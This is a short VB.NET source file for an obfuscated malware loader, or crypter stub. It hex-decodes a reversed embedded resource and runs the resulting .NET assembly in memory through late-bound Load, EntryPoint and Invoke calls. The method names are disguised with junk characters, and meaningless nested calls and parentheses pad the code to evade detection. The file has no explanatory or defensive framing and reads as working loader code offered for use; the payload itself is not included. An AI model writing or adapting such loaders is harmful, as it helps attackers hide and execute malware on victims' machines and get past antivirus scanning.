Imports Microsoft.VisualBasic.CompilerServices


Module Module1

    Sub Main()
        Dim a As String = StrReverse(My.Resources.a.Replace("•", "00").Replace(" ", ""))
        EPoint(Dec(a))
    End Sub
    Public Function EPoint(byt As Byte())
        Dim Dyar As NewLateBinding
        Dim Domain = System.Threading.Thread.GetDomain

        Dim LEI As String() = Split("Lזョoזョaזョd!'EnזョtryזョPoזョinזョt!'inזョvoזョke".Replace("זョ", ""), "!'")
        Dim Null = ((((((((((((((((((((((((((((((((((((((((((((Nothing))))))))))))))))))))))))))))))))))))))))))))
        Dim E1 = Dyar.LateGet(Domain, Null, LEI(0), New Object() {byt}, Null, Null, Null)
        Dim E2 = Dyar.LateGet(E1, Null, LEI(1), Null, Null, Null, Null)
        Return DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(DateString.Union(Interaction.GetObject(Interaction.Switch(Dyar.LateCall(E2, Null, LEI(2), New Object() {DateString.Min, New System.Nullable() {}}, Null, Null, Null, Null))))))))))))))))))))))

    End Function
    Public Function Dec(H As String) As Byte()
        Dim D1 As Integer = H.Length
        Dim D2 As Byte() = New Byte(D1 / 2 - 1) {}
        For D3 As Integer = 0 To D1 - 1 Step 2
            D2(D3 / 2) = Convert.ToByte(H.Substring(D3, 2), 16)

        Next
        Return D2
    End Function
End Module